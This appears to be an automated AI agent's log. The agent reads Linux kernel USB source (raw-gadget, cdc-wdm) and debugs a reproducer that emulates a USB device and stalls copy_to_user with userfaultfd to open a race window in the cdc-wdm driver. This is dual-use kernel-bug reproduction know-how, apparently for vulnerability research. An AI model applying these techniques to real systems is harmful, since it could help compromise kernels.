This finally clicked. The problem lies in how `USB_RAW_IOCTL_EP0_READ` blocks indefinitely for `USB_REQ_SET_CONFIGURATION`. My final question is: how should `raw-gadget` actually handle zero-length OUT requests like `SET_CONFIGURATION` without causing this deadlock? Is `USB_RAW_IOCTL_EP0_STALL` the only option, even though it would break enumeration?
|
| 341/5 |
2026/09/11 23:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_process_ep0_io]
Results: map[SourceCode: 683: static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
684: void *data, bool in)
685: {
686: int ret = 0;
687: unsigned long flags;
688:
689: spin_lock_irqsave(&dev->lock, flags);
690: if (dev->state != STATE_DEV_RUNNING) {
691: dev_dbg(dev->dev, "fail, device is not running\n");
692: ret = -EINVAL;
693: goto out_unlock;
694: }
695: if (!dev->gadget) {
696: dev_dbg(dev->dev, "fail, gadget is not bound\n");
697: ret = -EBUSY;
698: goto out_unlock;
699: }
700: if (dev->ep0_urb_queued) {
701: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
702: ret = -EBUSY;
703: goto out_unlock;
704: }
705: if ((in && !dev->ep0_in_pending) ||
706: (!in && !dev->ep0_out_pending)) {
707: dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
708: ret = -EBUSY;
709: goto out_unlock;
710: }
711: if (WARN_ON(in && dev->ep0_out_pending)) {
712: ret = -ENODEV;
713: dev->state = STATE_DEV_FAILED;
714: goto out_unlock;
715: }
716: if (WARN_ON(!in && dev->ep0_in_pending)) {
717: ret = -ENODEV;
718: dev->state = STATE_DEV_FAILED;
719: goto out_unlock;
720: }
721:
722: dev->req->buf = data;
723: dev->req->length = io->length;
724: dev->req->zero = usb_raw_io_flags_zero(io->flags);
725: dev->ep0_urb_queued = true;
726: spin_unlock_irqrestore(&dev->lock, flags);
727:
728: ret = usb_ep_queue(dev->gadget->ep0, dev->req, GFP_KERNEL);
729: if (ret) {
730: dev_err(&dev->gadget->dev,
731: "fail, usb_ep_queue returned %d\n", ret);
732: spin_lock_irqsave(&dev->lock, flags);
733: goto out_queue_failed;
734: }
735:
736: ret = wait_for_completion_interruptible(&dev->ep0_done);
737: if (ret) {
738: dev_dbg(&dev->gadget->dev, "wait interrupted\n");
739: usb_ep_dequeue(dev->gadget->ep0, dev->req);
740: wait_for_completion(&dev->ep0_done);
741: spin_lock_irqsave(&dev->lock, flags);
742: if (dev->ep0_status == -ECONNRESET)
743: dev->ep0_status = -EINTR;
744: goto out_interrupted;
745: }
746:
747: spin_lock_irqsave(&dev->lock, flags);
748:
749: out_interrupted:
750: ret = dev->ep0_status;
751: out_queue_failed:
752: dev->ep0_urb_queued = false;
753: out_unlock:
754: spin_unlock_irqrestore(&dev->lock, flags);
755: return ret;
756: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 342/5 |
2026/09/11 23:23 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 56086
output: 46
thoughts: 1658
Thoughts: **My Debugging Journey into the EP0 State Machine**
I've been wrestling with a peculiar issue involving endpoint 0 (EP0) on our USB gadget. It seems like certain operations, particularly those involving zero-length requests, are behaving unexpectedly, leading to hangs or what appears to be an infinite loop of `-EINVAL` errors in `strace`. I need to meticulously trace the logic to pinpoint where the state machine is diverging.
Initially, I was scrutinizing the `raw_process_ep0_io` function. It sets the request length (`dev->req->length`) based on the user-provided `io->length`. My immediate thought was, "If `io->length` is zero, it queues a zero-length request. Does the UDC driver even care about the direction of a zero-length request on EP0?" My understanding is that the UDC driver typically determines the direction for EP0 based on its internal state machine. For instance, if it's the status stage of an OUT transfer, the UDC driver expects a zero-length request and will then send an IN packet. This led me to believe that `USB_RAW_IOCTL_EP0_READ` with `io.length = 0` *should* work. If it's not working, then something else must be amiss.
The question then became, "Why would it block?" My first hypothesis was that perhaps `io.length` wasn't actually zero when I thought it was. Looking at my C code:
```c
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
```
For `USB_REQ_SET_CONFIGURATION`, `req->wLength` is indeed zero. So `io.length` should be zero, and as reasoned before, it *should* work. This brought me back to square one, questioning the fundamental assumption.
Then, a new scenario popped into my head: "What if the host sends `GET_ENCAPSULATED_RESPONSE` (an IN transfer with `wLength=256`), and my code does *nothing* in response?" The relevant snippet looks like this:
```c
} else {
// Do nothing, let the host's URB hang active indefinitely
}
```
If I do nothing, `ep0_in_pending` remains true. The host, after a timeout (typically 5 seconds), might then send a USB reset. Following the reset, the host might send `USB_REQ_SET_ADDRESS` (an OUT transfer with `wLength=0`). My `gadget_setup` function, upon seeing `ep0_in_pending == true`, would return `-EBUSY` and importantly, *not* queue the event. This would lead to the host timing out again, sending another reset, and this cycle would repeat.
In this scenario, my gadget thread wouldn't actually be blocked; it would just be looping continuously within `USB_RAW_IOCTL_EVENT_FETCH`. It would fetch the `USB_RAW_EVENT_RESET` and ignore it. The queue would therefore *not* fill up, and consequently, `STATE_DEV_FAILED` would *never* be set. If `STATE_DEV_FAILED` is never set, `USB_RAW_IOCTL_EVENT_FETCH` should *not* return `-EINVAL`. This contradicts what my `strace` was showing – an infinite loop of `-EINVAL`. This discrepancy demands further investigation.
A sudden thought: "What if `USB_RAW_IOCTL_EP0_WRITE` is triggering a `WARN_ON`?" I need to figure out under what conditions that `WARN_ON` could be triggered. It would likely happen if `req->bRequestType & USB_DIR_IN` is true, but `req->wLength == 0`. But I don't think the host ever sends requests with an IN direction specified and a zero length. However, what if the request is `GET_ENCAPSULATED_RESPONSE` (`req->bRequestType == 0xA1` and `req->bRequest == 0x01`) with `req->wLength == 256`? My code handles this as follows:
```c
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
```
This seems correct – I'm copying up to 10 'A's, capped by `req->wLength`.
Another check: "What about `GET_DESCRIPTOR` requests?" For `req->bRequest == USB_REQ_GET_DESCRIPTOR` and `req->wValue == (USB_DT_DEVICE << 8)`:
```c
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
```
This also looks correct; I'm copying the device descriptor, truncated to `req->wLength`.
And for `req->bRequest == USB_REQ_GET_DESCRIPTOR` and `req->wValue == (USB_DT_STRING << 8)`:
```c
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
```
This seems fine too; for string descriptors, I'm explicitly stalling, which is a valid response if I don't intend to provide them.
So, what if `req->bRequestType & USB_DIR_IN` is true, but it's *neither* a `GET_DESCRIPTOR` *nor* the `0xA1 0x01` case?
```c
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
```
Again, stalling seems like the appropriate action in this generic "IN request, not handled" scenario.
Now, let's consider the OUT direction. "What if `req->bRequestType & USB_DIR_IN` is false, but it's *not* `SET_CONFIGURATION`?"
```c
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
```
This looks like I'm queuing an OUT request to receive data. But here's a critical point: "If it's an OUT request with `wLength > 0` (like `SET_DESCRIPTOR` or `0x21 0x00` SET_ENCAPSULATED_COMMAND), my code calls `USB_RAW_IOCTL_EP0_READ` with `io.length = req->wLength`. This queues an OUT request to receive the data, and then `gadget_setup` returns. BUT, after receiving the data, we *must* send a zero-length IN packet to complete the status stage! If we don't, the status stage remains incomplete, and the host will time out!"
Do any of these OUT requests with `wLength > 0` actually occur? `cdc-wdm` itself doesn't seem to send `SET_ENCAPSULATED_COMMAND` – it only sends `GET_ENCAPSULATED_RESPONSE` when it gets a notification. However, what if the host sends `SET_CONTROL_LINE_STATE` (0x21, 0x22)? For that, `wLength` is 0. My code then calls `USB_RAW_IOCTL_EP0_READ` with `io.length = 0`, which should correctly handle the status stage completion.
This brings me back to the core issue: "What if `USB_RAW_IOCTL_EP0_READ` when handling `wLength > 0` *doesn't* automatically complete the status stage?" If it doesn't, the host times out. But wait, doesn't `raw-gadget` handle the status stage automatically in some way? No, it appears `raw-gadget` expects *me* to queue the status stage.
Let's reconsider the flow for `wLength > 0` OUT requests. My `gadget_setup` function sets `ep0_out_pending = true` and then calls `USB_RAW_IOCTL_EP0_READ` to receive the data. After this `ioctl` returns, `ep0_out_pending` is cleared. I need to explicitly check if `gadget_ep0_complete` handles the subsequent zero-length IN packet for the status stage. This is a crucial detail I might be overlooking, and it could be the root cause of the host timeouts and the subsequent erratic behavior.
|
| 343/5 |
2026/09/11 23:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:gadget_ep0_complete]
Results: map[SourceCode: 249: static void gadget_ep0_complete(struct usb_ep *ep, struct usb_request *req)
250: {
251: struct raw_dev *dev = req->context;
252: unsigned long flags;
253:
254: spin_lock_irqsave(&dev->lock, flags);
255: if (req->status)
256: dev->ep0_status = req->status;
257: else
258: dev->ep0_status = req->actual;
259: if (dev->ep0_in_pending)
260: dev->ep0_in_pending = false;
261: else
262: dev->ep0_out_pending = false;
263: spin_unlock_irqrestore(&dev->lock, flags);
264:
265: complete(&dev->ep0_done);
266: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 344/5 |
2026/09/11 23:23 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 58074
output: 42
thoughts: 2580
Thoughts: **My Journey Through EP0's Enigmas**
I was deeply perplexed by the behavior of `gadget_ep0_complete` clearing `ep0_out_pending`. My immediate thought was: if `ep0_out_pending` is cleared after `USB_RAW_IOCTL_EP0_READ` completes, how on earth is the status stage supposed to be handled? It seemed impossible, as both `ep0_in_pending` and `ep0_out_pending` would be false. This would lead `raw_process_ep0_io` to return `-EBUSY` if I tried to issue a zero-length `USB_RAW_IOCTL_EP0_WRITE`, which is precisely what I'd expect to be used for a status stage.
I then stumbled upon the realization that `raw-gadget` doesn't explicitly handle the status stage. Instead, the UDC driver itself takes care of it automatically after the data stage concludes. This was a huge relief! It meant I didn't need to queue a separate request for the status stage, and that `USB_RAW_IOCTL_EP0_READ` with `io.length > 0` was indeed sufficient for data stages.
My focus then shifted to the case where `wLength` is zero. In this scenario, there's no data stage, so the goal is solely to trigger the status stage. I understood that `USB_RAW_IOCTL_EP0_READ` with `io.length = 0` accomplishes this. This confirmed to me that my C code was, in principle, correctly handling EP0.
So, why the timeout and the `-EINVAL` error? I began to suspect that the `STATE_DEV_FAILED` must have been set due to the `WARN_ON` in `raw_process_ep0_io`. I meticulously examined the condition: `WARN_ON(in && dev->ep0_out_pending)`. This would trigger if I attempted a write (`in = true`) while `ep0_out_pending` was true. I traced when `ep0_out_pending` becomes true: during `gadget_setup`, for all OUT requests and IN requests with `wLength == 0`.
I then considered the sequence: if the host sends an IN request with `wLength == 0`, `ep0_out_pending` is true. If my code then incorrectly branches into the IN path, and I assume I'd call `USB_RAW_IOCTL_EP0_WRITE` (because it's an IN request), this would hit the `WARN_ON`. However, I then reasoned that the host doesn't actually send IN requests with `wLength == 0` in this context.
Further analysis of my code's logic for IN requests with `wLength > 0` showed that `ep0_in_pending` would be true, and calling `USB_RAW_IOCTL_EP0_WRITE` would *not* trigger the `WARN_ON` because `ep0_out_pending` would be false. Similarly, when my code handled OUT requests (or zero-length requests) by calling `USB_RAW_IOCTL_EP0_READ`, the `req->bRequestType & USB_DIR_IN` would be false, meaning `gadget_setup` sets `ep0_out_pending = true` and `ep0_in_pending = false`. This again meant the `WARN_ON(!in && dev->ep0_in_pending)` condition would not be met.
At this point, I was convinced the `WARN_ON` couldn't be triggering. My next thought was if `raw_queue_event` could be returning `-ENOMEM`. This would happen if the queue was full, implying the gadget thread was blocked in `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. The only reason for such a block would be if the host failed to complete the transfer. I explored scenarios like stalls or short packets, but those complete immediately. What if I called `USB_RAW_IOCTL_EP0_READ` for an OUT request with `wLength > 0`, and the host never sent the data? But the host always sends the data for OUT requests.
Then, I focused on `USB_REQ_SET_CONFIGURATION` (with `wLength == 0`). My code queues a zero-length OUT request. I initially thought the host sends a zero-length IN packet for the status stage, and a UDC driver expecting an OUT packet might get confused. However, for `wLength == 0`, the UDC driver should recognize it as the status stage. If `raw-gadget` *demanded* `USB_RAW_IOCTL_EP0_WRITE` for the status stage of an OUT request, it would lead to a `WARN_ON`. But I had already established that `USB_RAW_IOCTL_EP0_READ` is the *only* viable option due to the `ep0_out_pending` check.
This led me back to the timeout. If the bug wasn't a `WARN_ON` crash, perhaps the warning simply wasn't triggered. Why wouldn't it be triggered? I reviewed my reproducer: waiting for `read_blocked`, sending a stall, waiting for `wdm_rxwork` to submit a URB, and then resolving userfaultfd. The `read()` call in my reproducer interacts with `/dev/cdc-wdm0`. Data gets into `desc->ubuf` via `wdm_in_callback` when `desc->response` completes. This happens after my gadget thread sends 10 'A's in response to `GET_ENCAPSULATED_RESPONSE`. This data is then copied via `copy_to_user` to the userfaultfd region, triggering the page fault and setting `read_blocked`. Everything seemed to flow correctly.
My lingering question was: why would the host *not* send `GET_ENCAPSULATED_RESPONSE`? My `ep1_thread` sends the `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification. Could there be an issue with this notification itself, or how `wdm_int_callback` processes it?
|
| 345/5 |
2026/09/11 23:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_int_callback]
Results: map[SourceCode: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 346/5 |
2026/09/11 23:24 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 62129
output: 40
thoughts: 551
Thoughts: **My Thought Process Unpacking the WDM Interrupt Callback and URB Submission Logic**
Okay, so I've been digging into this `wdm_int_callback` function, and I've noticed something rather crucial. It seems like it's submitting `desc->response` directly, but only under specific conditions: if `!desc->resp_count++` and `!responding` are both true. This is a key observation because it means that `wdm_rxwork` isn't being scheduled *unless* `usb_submit_urb` fails with `-ENOMEM`, or it's a STALL condition.
Now, the direct submission of `desc->response` initially struck me as potentially problematic. My immediate thought was, "But how does the host know to request the encapsulated response if it's not explicitly signaled?" However, upon further reflection, I realized that this is actually fine! The host controller is designed to send a `GET_ENCAPSULATED_RESPONSE` command regardless of how the data was initially made available by the device. So, the direct submission itself isn't the issue.
My attention then shifted to the size of the data being transmitted. I found myself scrutinizing the `urb->actual_length` and comparing it to `sizeof(struct usb_cdc_notification)`. I know for a fact that `sizeof(struct usb_cdc_notification)` evaluates to 8 bytes. And looking at my C code snippet, where I'm setting up the `usb_raw_ep_io` structure with a `notif` notification and setting `io_ep1.length = sizeof(notif)`, which is indeed 8 bytes, it seems to pass this particular check. The `memcpy` is also correct, copying those 8 bytes. So, the size of the notification packet appears to be handled correctly.
This led me to a more fundamental question: what if the endpoint address `ep_in` is incorrect? I double-checked the code where `ep_in` is obtained:
```c
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
```
And then I looked at how `conf_desc.ep_in` is defined:
```c
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
```
The `bEndpointAddress` is explicitly set to `0x81`, which is the standard address for EP1 IN. This looks correct and matches the expected configuration.
My mind then moved to a more abstract, yet critical, scenario: what if the host *never* actually sends the interrupt URB in the first place? This would, of course, break the intended flow of operations. I started tracing back the initialization sequence. Does `wdm_create` set this up? No, that doesn't seem right. Does `wdm_wwan_init` do it? Again, that doesn't feel like the correct place. My investigation led me to believe that it's `wdm_open` that is responsible for submitting the interrupt URB. So, the next logical step in my thought process is to meticulously examine the `wdm_open` function to understand exactly how and when this crucial interrupt URB is submitted. This is where I'm focusing my attention now.
|
| 347/5 |
2026/09/11 23:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_open]
Results: map[SourceCode: 705: static int wdm_open(struct inode *inode, struct file *file)
706: {
707: int minor = iminor(inode);
708: int rv = -ENODEV;
709: struct usb_interface *intf;
710: struct wdm_device *desc;
711:
712: mutex_lock(&wdm_mutex);
713: desc = wdm_find_device_by_minor(minor);
714: if (!desc)
715: goto out;
716:
717: intf = desc->intf;
718: if (test_bit(WDM_DISCONNECTING, &desc->flags))
719: goto out;
720: file->private_data = desc;
721:
722: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
723: rv = -EBUSY;
724: goto out;
725: }
726: smp_rmb(); /* ordered against wdm_wwan_port_stop() */
727: rv = usb_autopm_get_interface(desc->intf);
728: if (rv < 0) {
729: dev_err(&desc->intf->dev, "Error autopm - %d\n", rv);
730: goto out;
731: }
732:
733: /* using write lock to protect desc->count */
734: mutex_lock(&desc->wlock);
735: if (!desc->count++) {
736: desc->werr = 0;
737: desc->rerr = 0;
738: rv = usb_submit_urb(desc->validity, GFP_KERNEL);
739: if (rv < 0) {
740: desc->count--;
741: dev_err(&desc->intf->dev,
742: "Error submitting int urb - %d\n", rv);
743: rv = usb_translate_errors(rv);
744: }
745: } else {
746: rv = 0;
747: }
748: mutex_unlock(&desc->wlock);
749: if (desc->count == 1)
750: desc->manage_power(intf, 1);
751: usb_autopm_put_interface(desc->intf);
752: out:
753: mutex_unlock(&wdm_mutex);
754: return rv;
755: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 348/5 |
2026/09/11 23:25 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 63488
output: 42
thoughts: 1598
Thoughts: **My Thought Process Unraveling the `cdc-wdm` Synchronization Dance**
Okay, let me trace this through my own understanding. It seems like the core of the issue revolves around the precise timing of events between my main thread's device opening and the `ep1_thread`'s attempt to send notifications, all while the USB gadget driver is setting itself up.
Initially, I'm thinking about `wdm_open`. My main thread calls `open("/dev/cdc-wdm0", O_RDWR)`, and it dawns on me that this very act triggers the submission of the interrupt URB. That's a key piece of the puzzle.
Then I look at my `ep1_thread`. It has this `event_wait(&gadget_ready)` followed by a `usleep(200000)` – a 200ms delay to ensure the host has fully enumerated and submitted its interrupt URB. But then I realize, my *main thread* is calling `open()` *after* `gadget_ready` has been signaled *and* after its own subsequent 500ms sleep.
```c
// In the main thread:
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
```
This means my `ep1_thread` actually wakes up and *might* try to send a notification *before* the main thread even gets to `open()`. If `ep1_thread` tries to send that notification via `USB_RAW_IOCTL_EP_WRITE` *before* the host has submitted its interrupt URB, that `USB_RAW_IOCTL_EP_WRITE` call is going to block. And it blocks until the host actually reads the data, which won't happen until that interrupt URB is available.
So, if `ep1_thread` gets blocked there, then my main thread proceeds to `open()`. This `open()` call, as I noted, submits the interrupt URB. *Then*, the host controller can finally read the data from EP1. Only *then* can `USB_RAW_IOCTL_EP_WRITE` complete. After that, `ep1_thread` can send its *second* notification, and then it waits for `read_blocked`. My main thread then calls `read()`. All this appears to be a very tight, synchronized sequence.
But then, a more unsettling thought creeps in: what if `USB_RAW_IOCTL_EP_WRITE` blocks, but the host *never* gets around to submitting that interrupt URB? Why would that happen? Perhaps `open()` itself could fail? But I've already established that `cdc-wdm` *is* probed, otherwise my main thread wouldn't even get this far. So, `open()` succeeding but `usb_submit_urb` *within* `open()` failing? That seems unlikely, but I need to keep it in mind.
Let's pivot to the gadget thread for a moment. I'm looking at the `SET_CONFIGURATION` handling:
```c
// In the gadget thread:
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
}
```
Here's a critical point: `USB_RAW_IOCTL_EP0_READ` blocks until the host acknowledges the status stage of the control transfer. Does the host acknowledge that *before* or *after* its own `SET_CONFIGURATION` URB completes in the host driver? My understanding is that the host controller itself acknowledges the status stage immediately. The host driver's `SET_CONFIGURATION` URB then completes, and *then* it proceeds to probe interfaces. So, the sequence of `USB_RAW_IOCTL_EP0_READ` completing, followed by `USB_RAW_IOCTL_CONFIGURE`, then `USB_RAW_IOCTL_EP_ENABLE`, and finally `gadget_ready` being set, seems correct.
Now, let's consider the `GET_ENCAPSULATED_RESPONSE` handling within the gadget thread, specifically the case where `resp_count == 0`:
```c
// In the gadget thread (response handling):
io.length = 10; // <-- Notice this
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
```
This writes 10 bytes. But `GET_ENCAPSULATED_RESPONSE` is an *IN* request. The host is expecting `wLength` bytes, which is specified as 256 bytes in the descriptor. We're only sending 10. The host receives this short packet (10 bytes, well within the max packet size of 64). The host then completes its URB. This leads to `wdm_in_callback` being invoked. It copies those 10 bytes into `desc->ubuf`, and then `wdm_read` copies them to userspace. This part seems to align with expectations.
And then, my main thread calls `read()`:
```c
// In the main thread:
read(fd_wdm, addr, 10);
```
Yes, my `read()` call is specifically requesting 10 bytes. The `copy_to_user` operation will transfer exactly those 10 bytes. And since `addr` is a 4096-byte, page-aligned buffer, this read triggers a page fault on the *very first byte* being copied, which is precisely what I'd expect. Everything seems to be working as intended here.
What if `wdm_read` is trying to read *more* than the 10 bytes I've requested? Looking at the logic, `wdm_read` reads `min_t(size_t, count, desc->length)`. Since `count` is 10 and `desc->length` is also 10 in this scenario, it will indeed only read 10 bytes. So, no over-reading there.
Now, for the most complex part: what happens if the *second* notification is sent *before* the *first* `GET_ENCAPSULATED_RESPONSE` even finishes? Let's map it out:
1. `ep1_thread` sends the first notification.
2. The `open()` call in the main thread submits the interrupt URB.
3. The host receives the first notification.
4. `wdm_int_callback` is triggered and submits `desc->response`.
5. *Then*, `ep1_thread` sends the second notification.
6. The host receives the second notification.
7. `wdm_int_callback` is invoked again. Now, `desc->resp_count` is incremented (let's say to 1). Critically, `responding` is still TRUE because the first notification hasn't been cleared yet. So, it *doesn't* submit `desc->response` again; it just increments `resp_count`.
8. The host, processing the first notification, sends the `GET_ENCAPSULATED_RESPONSE` request.
9. The gadget thread receives it and replies with those 10 bytes.
10. `desc->response` URB completes.
11. `wdm_in_callback` is called. It clears `WDM_RESPONDING`. Then, it checks if `desc->resp_count > 0`.
This is where I need to be absolutely sure about the state of `wdm_in_callback` and its interaction with `resp_count` and `responding`. If `WDM_RESPONDING` is cleared correctly, and `resp_count` is handled properly, this sequence *should* work. I'm scrutinizing the `wdm_in_callback` logic to confirm that it correctly handles the pending `resp_count` after `WDM_RESPONDING` is cleared.
|
| 349/5 |
2026/09/11 23:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_in_callback]
Results: map[SourceCode: 167: static void wdm_in_callback(struct urb *urb)
168: {
169: unsigned long flags;
170: struct wdm_device *desc = urb->context;
171: int status = urb->status;
172: int length = urb->actual_length;
173:
174: spin_lock_irqsave(&desc->iuspin, flags);
175: clear_bit(WDM_RESPONDING, &desc->flags);
176:
177: if (status) {
178: switch (status) {
179: case -ENOENT:
180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 350/5 |
2026/09/11 23:25 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 66350
output: 40
thoughts: 1301
Thoughts: **The Inner Workings of `cdc-wdm` URB Submission: A Cascade of Events and a Persistent Bug**
It appears my initial understanding of `wdm_in_callback` was slightly off. I was under the impression it might be submitting `desc->response` again, but it actually *only* wakes up the reader. This means `desc->response` isn't active after `wdm_in_callback` completes its immediate task. The crucial question then becomes: when *is* `desc->response` submitted for its subsequent notifications?
The answer lies within `service_outstanding_interrupt`, a function called at the very end of `wdm_read`. This is where `desc->response` gets submitted again, specifically for that second notification.
Now, here's where things get intricate and the bug starts to reveal itself. `service_outstanding_interrupt` is invoked *after* the `copy_to_user` operation. If `copy_to_user` were to block, say, due to a userfaultfd mechanism, then `service_outstanding_interrupt` would simply not be called. Consequently, `desc->response` would remain unsubmitted and, therefore, inactive.
